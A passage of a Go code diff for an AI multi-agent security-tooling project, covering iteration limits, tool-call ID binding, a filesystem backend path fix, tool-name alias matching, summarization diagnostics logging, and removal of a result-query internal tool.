+		sb.WriteByte('\n')
+	}
+}

internal/multiagent/interrupt.go

@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
 // ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束，应由 handler 落库轨迹后
 // loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue 同级的「分段续跑」语义）。
 var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
+
+// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文，应由 handler 落库轨迹后
+// loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue / ErrTransientRetryContinue 同级）。
+var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")

internal/multiagent/max_iterations.go

@@ -0,0 +1,22 @@
+package multiagent
+
+import "cyberstrike-ai/internal/config"
+
+const defaultAgentMaxIterations = 3000
+
+// agentMaxIterations 全局上限：仅使用 config.agent.max_iterations；≤0 时与 config 默认一致为 3000。
+func agentMaxIterations(appCfg *config.Config) int {
+	if appCfg != nil && appCfg.Agent.MaxIterations > 0 {
+		return appCfg.Agent.MaxIterations
+	}
+	return defaultAgentMaxIterations
+}
+
+// resolveMaxIterations 统一迭代上限：Markdown/子代理 front matter 中 max_iterations>0 可单独覆盖，否则使用 agent.max_iterations。
+// multi_agent.max_iteration 与 sub_agent_max_iterations 已废弃，不再参与计算。
+func resolveMaxIterations(appCfg *config.Config, markdownOverride int) int {
+	if markdownOverride > 0 {
+		return markdownOverride
+	}
+	return agentMaxIterations(appCfg)
+}

internal/multiagent/max_iterations_test.go

@@ -0,0 +1,31 @@
+package multiagent
+
+import (
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+)
+
+func TestAgentMaxIterations(t *testing.T) {
+	if got := agentMaxIterations(nil); got != defaultAgentMaxIterations {
+		t.Fatalf("nil cfg: got %d want %d", got, defaultAgentMaxIterations)
+	}
+	cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
+	if got := agentMaxIterations(cfg); got != 12000 {
+		t.Fatalf("got %d want 12000", got)
+	}
+	cfg.Agent.MaxIterations = 0
+	if got := agentMaxIterations(cfg); got != defaultAgentMaxIterations {
+		t.Fatalf("zero: got %d want %d", got, defaultAgentMaxIterations)
+	}
+}
+
+func TestResolveMaxIterations(t *testing.T) {
+	cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
+	if got := resolveMaxIterations(cfg, 0); got != 12000 {
+		t.Fatalf("global: got %d want 12000", got)
+	}
+	if got := resolveMaxIterations(cfg, 50); got != 50 {
+		t.Fatalf("override: got %d want 50", got)
+	}
+}

internal/multiagent/mcp_execution_binder.go

@@ -0,0 +1,31 @@
+package multiagent
+
+import "strings"
+
+// MCPExecutionBinder maps ADK toolCallID → MCP monitor execution ID for a single agent run.
+type MCPExecutionBinder struct {
+	byToolCall map[string]string
+}
+
+func NewMCPExecutionBinder() *MCPExecutionBinder {
+	return &MCPExecutionBinder{byToolCall: make(map[string]string)}
+}
+
+func (b *MCPExecutionBinder) Bind(toolCallID, executionID string) {
+	if b == nil {
+		return
+	}
+	tid := strings.TrimSpace(toolCallID)
+	eid := strings.TrimSpace(executionID)
+	if tid == "" || eid == "" {
+		return
+	}
+	b.byToolCall[tid] = eid
+}
+
+func (b *MCPExecutionBinder) ExecutionID(toolCallID string) string {
+	if b == nil {
+		return ""
+	}
+	return b.byToolCall[strings.TrimSpace(toolCallID)]
+}

internal/multiagent/mcp_execution_binder_test.go

@@ -0,0 +1,14 @@
+package multiagent
+
+import "testing"
+
+func TestMCPExecutionBinder(t *testing.T) {
+	b := NewMCPExecutionBinder()
+	b.Bind("call-1", "exec-1")
+	if got := b.ExecutionID("call-1"); got != "exec-1" {
+		t.Fatalf("expected exec-1, got %q", got)
+	}
+	if got := b.ExecutionID("missing"); got != "" {
+		t.Fatalf("expected empty, got %q", got)
+	}
+}

internal/multiagent/plantask_local_backend.go

@@ -0,0 +1,71 @@
+package multiagent
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	localbk "github.com/cloudwego/eino-ext/adk/backend/local"
+	"github.com/cloudwego/eino/adk/middlewares/plantask"
+)
+
+// localPlantaskBackend adapts eino-ext local filesystem backend for Eino plantask.
+//
+// plantask TaskCreate/TaskList list a directory via LsInfo, then Read using each entry's Path.
+// local.LsInfo returns basenames only (e.g. ".highwatermark"), while local.Read expects a
+// resolvable path — causing "file not found: .highwatermark" on the second TaskCreate.
+type localPlantaskBackend struct {
+	*localbk.Local
+}
+
+func newLocalPlantaskBackend(loc *localbk.Local) *localPlantaskBackend {
+	if loc == nil {
+		return nil
+	}
+	return &localPlantaskBackend{Local: loc}
+}
+
+// LsInfo lists files under req.Path and returns absolute paths suitable for subsequent Read calls.
+func (l *localPlantaskBackend) LsInfo(ctx context.Context, req *plantask.LsInfoRequest) ([]plantask.FileInfo, error) {
+	if l == nil || l.Local == nil {
+		return nil, fmt.Errorf("plantask backend: local nil")
+	}
+	if req == nil || strings.TrimSpace(req.Path) == "" {
+		return nil, fmt.Errorf("plantask backend: list path empty")
+	}
+	files, err := l.Local.LsInfo(ctx, req)
+	if err != nil {
+		return nil, err
+	}
+	if len(files) == 0 {
+		return files, nil
+	}
+	base := filepath.Clean(req.Path)
+	out := make([]plantask.FileInfo, len(files))
+	for i, f := range files {
+		out[i] = f
+		name := strings.TrimSpace(f.Path)
+		if name == "" {
+			continue
+		}
+		if filepath.IsAbs(name) {
+			out[i].Path = filepath.Clean(name)
+			continue
+		}
+		out[i].Path = filepath.Join(base, name)
+	}
+	return out, nil
+}
+
+func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
+	if l == nil || l.Local == nil || req == nil {
+		return nil
+	}
+	p := strings.TrimSpace(req.FilePath)
+	if p == "" {
+		return nil
+	}
+	return os.Remove(p)
+}

internal/multiagent/plantask_local_backend_test.go

@@ -0,0 +1,83 @@
+package multiagent
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"testing"
+
+	localbk "github.com/cloudwego/eino-ext/adk/backend/local"
+	"github.com/cloudwego/eino/adk/filesystem"
+	"github.com/cloudwego/eino/adk/middlewares/plantask"
+)
+
+func TestLocalPlantaskBackendLsInfoReturnsFullPaths(t *testing.T) {
+	t.Parallel()
+	ctx := context.Background()
+	baseDir := t.TempDir()
+
+	loc, err := localbk.NewBackend(ctx, &localbk.Config{})
+	if err != nil {
+		t.Fatalf("NewBackend: %v", err)
+	}
+	be := newLocalPlantaskBackend(loc)
+
+	hwPath := filepath.Join(baseDir, ".highwatermark")
+	if err := os.WriteFile(hwPath, []byte("1"), 0o600); err != nil {
+		t.Fatalf("write highwatermark: %v", err)
+	}
+
+	files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
+	if err != nil {
+		t.Fatalf("LsInfo: %v", err)
+	}
+	if len(files) != 1 {
+		t.Fatalf("expected 1 file, got %d", len(files))
+	}
+	if files[0].Path != hwPath {
+		t.Fatalf("expected full path %q, got %q", hwPath, files[0].Path)
+	}
+
+	content, err := be.Read(ctx, &plantask.ReadRequest{FilePath: files[0].Path})
+	if err != nil {
+		t.Fatalf("Read via LsInfo path: %v", err)
+	}
+	if content.Content != "1" {
+		t.Fatalf("unexpected content: %q", content.Content)
+	}
+}
+
+func TestLocalPlantaskBackendSecondTaskCreateScenario(t *testing.T) {
+	t.Parallel()
+	ctx := context.Background()
+	baseDir := t.TempDir()
+
+	loc, err := localbk.NewBackend(ctx, &localbk.Config{})
+	if err != nil {
+		t.Fatalf("NewBackend: %v", err)
+	}
+	be := newLocalPlantaskBackend(loc)
+
+	hwPath := filepath.Join(baseDir, ".highwatermark")
+	if err := loc.Write(ctx, &filesystem.WriteRequest{FilePath: hwPath, Content: "1"}); err != nil {
+		t.Fatalf("seed highwatermark: %v", err)
+	}
+
+	files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
+	if err != nil {
+		t.Fatalf("LsInfo: %v", err)
+	}
+	var hwFile string
+	for _, f := range files {
+		if filepath.Base(f.Path) == ".highwatermark" {
+			hwFile = f.Path
+			break
+		}
+	}
+	if hwFile == "" {
+		t.Fatal("highwatermark not listed")
+	}
+	if _, err := be.Read(ctx, &plantask.ReadRequest{FilePath: hwFile}); err != nil {
+		t.Fatalf("Read highwatermark (second TaskCreate path): %v", err)
+	}
+}

internal/multiagent/runner.go

@@ -58,6 +58,7 @@ func RunDeepAgent(
 	ag *agent.Agent,
 	logger *zap.Logger,
 	conversationID string,
+	projectID string,
 	userMessage string,
 	history []agent.ChatMessage,
 	roleTools []string,
@@ -107,10 +108,12 @@ func RunDeepAgent(
 
 	var mcpIDsMu sync.Mutex
 	var mcpIDs []string
-	recorder := func(id string) {
+	mcpExecBinder := NewMCPExecutionBinder()
+	recorder := func(id, toolCallID string) {
 		if id == "" {
 			return
 		}
+		mcpExecBinder.Bind(toolCallID, id)
 		mcpIDsMu.Lock()
 		mcpIDs = append(mcpIDs, id)
 		mcpIDsMu.Unlock()
@@ -128,21 +131,6 @@ func RunDeepAgent(
 
 	toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
 	mainDefs := ag.ToolsForRole(roleTools)
-	toolOutputChunk := func(toolName, toolCallID, chunk string) {
-		// When toolCallId is missing, frontend ignores tool_result_delta.
-		if progress == nil || toolCallID == "" {
-			return
-		}
-		progress("tool_result_delta", chunk, map[string]interface{}{
-			"toolName":   toolName,
-			"toolCallId": toolCallID,
-			// index/total/iteration are optional for UI; we don't know them in this bridge.
-			"index":     0,
-			"total":     0,
-			"iteration": 0,
-			"source":    "eino",
-		})
-	}
 
 	httpClient := &http.Client{
 		Timeout: 30 * time.Minute,
@@ -161,6 +149,7 @@ func RunDeepAgent(
 
 	// 若配置为 Claude provider，注入自动桥接 transport，对 Eino 透明走 Anthropic Messages API
 	httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
+	openai.AttachSummarizationDiagTransport(httpClient, logger)
 
 	baseModelCfg := &einoopenai.ChatModelConfig{
 		APIKey:     appCfg.OpenAI.APIKey,
@@ -170,18 +159,7 @@ func RunDeepAgent(
 	}
 	reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
 
-	deepMaxIter := ma.MaxIteration
-	if deepMaxIter <= 0 {
-		deepMaxIter = appCfg.Agent.MaxIterations
-	}
-	if deepMaxIter <= 0 {
-		deepMaxIter = 40
-	}
-
-	subDefaultIter := ma.SubAgentMaxIterations
-	if subDefaultIter <= 0 {
-		subDefaultIter = 20
-	}
+	deepMaxIter := agentMaxIterations(appCfg)
 
 	var subAgents []adk.Agent
 	if orchMode != "plan_execute" {
@@ -220,20 +198,17 @@ func RunDeepAgent(
 			}
 
 			subDefs := ag.ToolsForRole(roleTools)
-			subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, toolOutputChunk, toolInvokeNotify, id)
+			subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, nil, toolInvokeNotify, id)
 			if err != nil {
 				return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
 			}
 
-			subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, logger)
+			subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, projectID, logger)
 			if err != nil {
 				return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
 			}
 
-			subMax := sub.MaxIterations
-			if subMax <= 0 {
-				subMax = subDefaultIter
-			}
+			subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
 
 			subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
 			if err != nil {
@@ -246,7 +221,7 @@ func RunDeepAgent(
 			}
 			if einoSkillMW != nil {
 				if einoFSTools && einoLoc != nil {
-					subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
+					subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
 					if fsErr != nil {
 						return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
 					}
@@ -333,11 +308,11 @@ func RunDeepAgent(
 		}
 	}
 
-	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, orchestratorName)
+	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, orchestratorName)
 	if err != nil {
 		return nil, err
 	}
-	mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger)
+	mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
 	if err != nil {
 		return nil, err
 	}
@@ -384,7 +359,7 @@ func RunDeepAgent(
 			inner:              einoLoc,
 			invokeNotify:       toolInvokeNotify,
 			einoAgentName:      orchestratorName,
-			outputChunk:        toolOutputChunk,
+			outputChunk:        nil,
 			recordMonitor:      einoExecMonitor,
 			toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
 		}
@@ -451,7 +426,7 @@ func RunDeepAgent(
 		// 构建 filesystem 中间件（与 Deep sub-agent 一致）
 		var peFsMw adk.ChatModelAgentMiddleware
 		if einoSkillMW != nil && einoFSTools && einoLoc != nil {
-			peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
+			peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
 			if err != nil {
 				return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
 			}
@@ -578,6 +553,7 @@ func RunDeepAgent(
 		McpIDs:                  &mcpIDs,
 		FilesystemMonitorAgent:  ag,
 		FilesystemMonitorRecord: recorder,
+		MCPExecutionBinder:      mcpExecBinder,
 		ToolInvokeNotify:        toolInvokeNotify,
 		DA:                      da,
 		ModelFacingTrace:        modelFacingTrace,

internal/multiagent/tool_always_visible.go

@@ -0,0 +1,72 @@
+package multiagent
+
+import (
+	"strings"
+)
+
+// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
+// 支持：内置短名 read_file；外部 mcp::tool；运行时 mcp__tool（OpenAI/Eino 命名）。
+func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
+	set := make(map[string]struct{}, len(names)*3)
+	add := func(name string) {
+		n := strings.TrimSpace(strings.ToLower(name))
+		if n == "" {
+			return
+		}
+		set[n] = struct{}{}
+	}
+	for _, raw := range names {
+		n := strings.TrimSpace(strings.ToLower(raw))
+		if n == "" {
+			continue
+		}
+		add(n)
+		if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
+			// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool，避免短名误伤其它 MCP 同名工具。
+			add(mcp + "__" + tool)
+			continue
+		}
+		if idx := strings.LastIndex(n, "__"); idx > 0 {
+			mcp, tool := n[:idx], n[idx+2:]
+			if mcp != "" && tool != "" {
+				add(mcp + "::" + tool)
+			}
+			continue
+		}
+	}
+	return set
+}
+
+// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单（含别名）。
+func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
+	if len(nameSet) == 0 {
+		return false
+	}
+	name := strings.TrimSpace(strings.ToLower(runtimeName))
+	if name == "" {
+		return false
+	}
+	if _, ok := nameSet[name]; ok {
+		return true
+	}
+	if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
+		if _, ok := nameSet[mcp+"__"+tool]; ok {
+			return true
+		}
+		if _, ok := nameSet[tool]; ok {
+			return true
+		}
+	}
+	if idx := strings.LastIndex(name, "__"); idx > 0 {
+		mcp, tool := name[:idx], name[idx+2:]
+		if mcp != "" && tool != "" {
+			if _, ok := nameSet[mcp+"::"+tool]; ok {
+				return true
+			}
+			if _, ok := nameSet[tool]; ok {
+				return true
+			}
+		}
+	}
+	return false
+}

internal/multiagent/tool_always_visible_test.go

@@ -0,0 +1,32 @@
+package multiagent
+
+import "testing"
+
+func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
+	t.Parallel()
+	set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
+
+	cases := []struct {
+		runtime string
+		want    bool
+	}{
+		{"zhidemai__discount_search", true},
+		{"zhidemai::discount_search", true},
+		{"read_file", true},
+		{"zhidemai__product_search_pro", false},
+		{"github__discount_search", false},
+	}
+	for _, tc := range cases {
+		if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
+			t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
+		}
+	}
+}
+
+func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
+	t.Parallel()
+	set := expandAlwaysVisibleNameSet([]string{"discount_search"})
+	if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
+		t.Fatal("legacy short name should match external runtime tool")
+	}
+}

internal/openai/summarization_diag.go

@@ -0,0 +1,88 @@
+package openai
+
+import (
+	"bytes"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/bytedance/sonic"
+	"go.uber.org/zap"
+)
+
+// SummarizationRequestHeader marks chat/completion requests issued by Eino summarization
+// middleware (via model.WithExtraHeader). The diagnostic transport logs empty-choices bodies
+// only for these requests so main-agent traffic stays quiet.
+const SummarizationRequestHeader = "X-CyberStrike-Summarization"
+
+const summarizationDiagBodyMaxBytes = 8192
+
+// AttachSummarizationDiagTransport wraps client.Transport to log raw API bodies when
+// summarization receives HTTP 200 with an empty choices array.
+func AttachSummarizationDiagTransport(client *http.Client, logger *zap.Logger) {
+	if client == nil || logger == nil {
+		return
+	}
+	base := client.Transport
+	if base == nil {
+		base = http.DefaultTransport
+	}
+	client.Transport = &summarizationDiagRoundTripper{base: base, logger: logger}
+}
+
+type summarizationDiagRoundTripper struct {
+	base   http.RoundTripper
+	logger *zap.Logger
+}
+
+func (rt *summarizationDiagRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	resp, err := rt.base.RoundTrip(req)
+	if err != nil || resp == nil || resp.Body == nil {
+		return resp, err
+	}
+	if !isSummarizationRequest(req) || !strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "json") {
+		return resp, err
+	}
+
+	body, readErr := io.ReadAll(resp.Body)
+	_ = resp.Body.Close()
+	if readErr != nil {
+		resp.Body = io.NopCloser(bytes.NewReader(nil))
+		return resp, err
+	}
+	resp.Body = io.NopCloser(bytes.NewReader(body))
+	resp.ContentLength = int64(len(body))
+
+	if rt.logger != nil && summarizationResponseEmptyChoices(body) {
+		rt.logger.Warn("eino summarization: API returned empty choices",
+			zap.Int("status", resp.StatusCode),
+			zap.Int("response_bytes", len(body)),
+			zap.String("raw_body", truncateForLog(string(body), summarizationDiagBodyMaxBytes)),
+		)
+	}
+	return resp, err
+}
+
+func isSummarizationRequest(req *http.Request) bool {
+	if req == nil {
+		return false
+	}
+	return strings.TrimSpace(req.Header.Get(SummarizationRequestHeader)) == "1"
+}
+
+func summarizationResponseEmptyChoices(body []byte) bool {
+	var parsed struct {
+		Choices []any `json:"choices"`
+	}
+	if err := sonic.Unmarshal(body, &parsed); err != nil {
+		return false
+	}
+	return len(parsed.Choices) == 0
+}
+
+func truncateForLog(s string, maxBytes int) string {
+	if maxBytes <= 0 || len(s) <= maxBytes {
+		return s
+	}
+	return s[:maxBytes] + "…(truncated)"
+}

internal/openai/summarization_diag_test.go

@@ -0,0 +1,47 @@
+package openai
+
+import (
+	"io"
+	"net/http"
+	"strings"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+type staticRoundTripper struct {
+	status int
+	body   string
+}
+
+func (s *staticRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	return &http.Response{
+		StatusCode: s.status,
+		Header:     http.Header{"Content-Type": []string{"application/json"}},
+		Body:       io.NopCloser(strings.NewReader(s.body)),
+	}, nil
+}
+
+func TestSummarizationResponseEmptyChoices(t *testing.T) {
+	if !summarizationResponseEmptyChoices([]byte(`{"choices":[]}`)) {
+		t.Fatal("expected empty choices")
+	}
+	if summarizationResponseEmptyChoices([]byte(`{"choices":[{"index":0}]}`)) {
+		t.Fatal("expected non-empty choices")
+	}
+}
+
+func TestSummarizationDiagRoundTripper_SkipsWithoutHeader(t *testing.T) {
+	client := &http.Client{
+		Transport: &summarizationDiagRoundTripper{
+			base:   &staticRoundTripper{status: 200, body: `{"choices":[]}`},
+			logger: zap.NewNop(),
+		},
+	}
+	req, _ := http.NewRequest(http.MethodPost, "https://example.com/v1/chat/completions", nil)
+	resp, err := client.Do(req)
+	if err != nil {
+		t.Fatal(err)
+	}
+	_ = resp.Body.Close()
+}

internal/reasoning/eino.go

@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
 	}
 
 	if mode == "off" {
+		applyThinkingDisabled(cfg)
 		return
 	}
 	effort := effectiveEffort(sr, client, allowClient)
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
 	}
 }
 
-func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
-	// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
-	if mode == "off" {
+func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
+	if cfg == nil {
 		return
 	}
+	if cfg.ExtraFields == nil {
+		cfg.ExtraFields = make(map[string]any)
+	}
+	if _, exists := cfg.ExtraFields["thinking"]; exists {
+		return
+	}
+	cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
+}
+
+func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
+	// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
 	if mode == "auto" || mode == "on" {
 		if cfg.ExtraFields == nil {
 			cfg.ExtraFields = make(map[string]any)

internal/reasoning/eino_test.go

@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
 	}
 }
 
+func TestApplyReasoningOff_disablesThinking(t *testing.T) {
+	cfg := &einoopenai.ChatModelConfig{}
+	oa := &config.OpenAIConfig{
+		BaseURL: "https://api.openai.com/v1",
+		Model:   "gpt-4o",
+		Reasoning: config.OpenAIReasoningConfig{
+			Mode: "off",
+		},
+	}
+	ApplyToEinoChatModelConfig(cfg, oa, nil)
+	th, ok := cfg.ExtraFields["thinking"].(map[string]any)
+	if !ok || th["type"] != "disabled" {
+		t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
+	}
+}
+
 func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
 	cfg := &einoopenai.ChatModelConfig{}
 	oa := &config.OpenAIConfig{

internal/security/executor.go

@@ -16,7 +16,6 @@ import (
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/creack/pty"
 	"go.uber.org/zap"
@@ -33,44 +32,25 @@ var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{}
 
 // Executor 安全工具执行器
 type Executor struct {
-	config        *config.SecurityConfig
-	toolIndex     map[string]*config.ToolConfig // 工具索引，用于 O(1) 查找
-	mcpServer     *mcp.Server
-	logger        *zap.Logger
-	resultStorage ResultStorage // 结果存储（用于查询工具）
-}
-
-// ResultStorage 结果存储接口（直接使用 storage 包的类型）
-type ResultStorage interface {
-	SaveResult(executionID string, toolName string, result string) error
-	GetResult(executionID string) (string, error)
-	GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
-	SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
-	FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
-	GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
-	GetResultPath(executionID string) string
-	DeleteResult(executionID string) error
+	config    *config.SecurityConfig
+	toolIndex map[string]*config.ToolConfig // 工具索引，用于 O(1) 查找
+	mcpServer *mcp.Server
+	logger    *zap.Logger
 }
 
 // NewExecutor 创建新的执行器
 func NewExecutor(cfg *config.SecurityConfig, mcpServer *mcp.Server, logger *zap.Logger) *Executor {
 	executor := &Executor{
-		config:        cfg,
-		toolIndex:     make(map[string]*config.ToolConfig),
-		mcpServer:     mcpServer,
-		logger:        logger,
-		resultStorage: nil, // 稍后通过 SetResultStorage 设置
+		config:    cfg,
+		toolIndex: make(map[string]*config.ToolConfig),
+		mcpServer: mcpServer,
+		logger:    logger,
 	}
 	// 构建工具索引
 	executor.buildToolIndex()
 	return executor
 }
 
-// SetResultStorage 设置结果存储
-func (e *Executor) SetResultStorage(storage ResultStorage) {
-	e.resultStorage = storage
-}
-
 // buildToolIndex 构建工具索引，将 O(n) 查找优化为 O(1)
 func (e *Executor) buildToolIndex() {
 	e.toolIndex = make(map[string]*config.ToolConfig)
@@ -1245,238 +1225,22 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
 
 // executeInternalTool 执行内部工具（不执行外部命令）
 func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
-	// 提取内部工具类型（去掉 "internal:" 前缀）
 	internalToolType := strings.TrimPrefix(command, "internal:")
-
-	e.logger.Info("执行内部工具",
+	e.logger.Warn("未知的内部工具",
 		zap.String("toolName", toolName),
 		zap.String("internalToolType", internalToolType),
-		zap.Any("args", args),
 	)
-
-	// 根据内部工具类型分发处理
-	switch internalToolType {
-	case "query_execution_result":
-		return e.executeQueryExecutionResult(ctx, args)
-	default:
-		return &mcp.ToolResult{
-			Content: []mcp.Content{
-				{
-					Type: "text",
-					Text: fmt.Sprintf("错误: 未知的内部工具类型: %s", internalToolType),
-				},
-			},
-			IsError: true,
-		}, nil
-	}
-}
-
-// executeQueryExecutionResult 执行查询执行结果工具
-func (e *Executor) executeQueryExecutionResult(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
-	// 获取 execution_id 参数
-	executionID, ok := args["execution_id"].(string)
-	if !ok || executionID == "" {
-		return &mcp.ToolResult{
-			Content: []mcp.Content{
-				{
-					Type: "text",
-					Text: "错误: execution_id 参数必需且不能为空",
-				},
-			},
-			IsError: true,
-		}, nil
-	}
-
-	// 获取可选参数
-	page := 1
-	if p, ok := args["page"].(float64); ok {
-		page = int(p)
-	}
-	if page < 1 {
-		page = 1
-	}
-
-	limit := 100
-	if l, ok := args["limit"].(float64); ok {
-		limit = int(l)
-	}
-	if limit < 1 {
-		limit = 100
-	}
-	if limit > 500 {
-		limit = 500 // 限制最大每页行数
-	}
-
-	search := ""
-	if s, ok := args["search"].(string); ok {
-		search = s
-	}
-
-	filter := ""
-	if f, ok := args["filter"].(string); ok {
-		filter = f
-	}
-
-	useRegex := false
-	if r, ok := args["use_regex"].(bool); ok {
-		useRegex = r
-	}
-
-	// 检查结果存储是否可用
-	if e.resultStorage == nil {
-		return &mcp.ToolResult{
-			Content: []mcp.Content{
-				{
-					Type: "text",
-					Text: "错误: 结果存储未初始化",
-				},
-			},
-			IsError: true,
-		}, nil
-	}
-
-	// 执行查询
-	var resultPage *storage.ResultPage
-	var err error
-
-	if search != "" {
-		// 搜索模式
-		matchedLines, err := e.resultStorage.SearchResult(executionID, search, useRegex)
-		if err != nil {
-			return &mcp.ToolResult{
-				Content: []mcp.Content{
-					{
-						Type: "text",
-						Text: fmt.Sprintf("搜索失败: %v", err),
-					},
-				},
-				IsError: true,
-			}, nil
-		}
-		// 对搜索结果进行分页
-		resultPage = paginateLines(matchedLines, page, limit)
-	} else if filter != "" {
-		// 过滤模式
-		filteredLines, err := e.resultStorage.FilterResult(executionID, filter, useRegex)
-		if err != nil {
-			return &mcp.ToolResult{
-				Content: []mcp.Content{
-					{
-						Type: "text",
-						Text: fmt.Sprintf("过滤失败: %v", err),
-					},
-				},
-				IsError: true,
-			}, nil
-		}
-		// 对过滤结果进行分页
-		resultPage = paginateLines(filteredLines, page, limit)
-	} else {
-		// 普通分页查询
-		resultPage, err = e.resultStorage.GetResultPage(executionID, page, limit)
-		if err != nil {
-			return &mcp.ToolResult{
-				Content: []mcp.Content{
-					{
-						Type: "text",
-						Text: fmt.Sprintf("查询失败: %v", err),
-					},
-				},
-				IsError: true,
-			}, nil
-		}
-	}
-
-	// 获取元信息
-	metadata, err := e.resultStorage.GetResultMetadata(executionID)
-	if err != nil {
-		// 元信息获取失败不影响查询结果
-		e.logger.Warn("获取结果元信息失败", zap.Error(err))
-	}
-
-	// 格式化返回结果
-	var sb strings.Builder
-	sb.WriteString(fmt.Sprintf("查询结果 (执行ID: %s)\n", executionID))
-
-	if metadata != nil {
-		sb.WriteString(fmt.Sprintf("工具: %s | 大小: %d 字节 (%.2f KB) | 总行数: %d\n",
-			metadata.ToolName, metadata.TotalSize, float64(metadata.TotalSize)/1024, metadata.TotalLines))
-	}
-
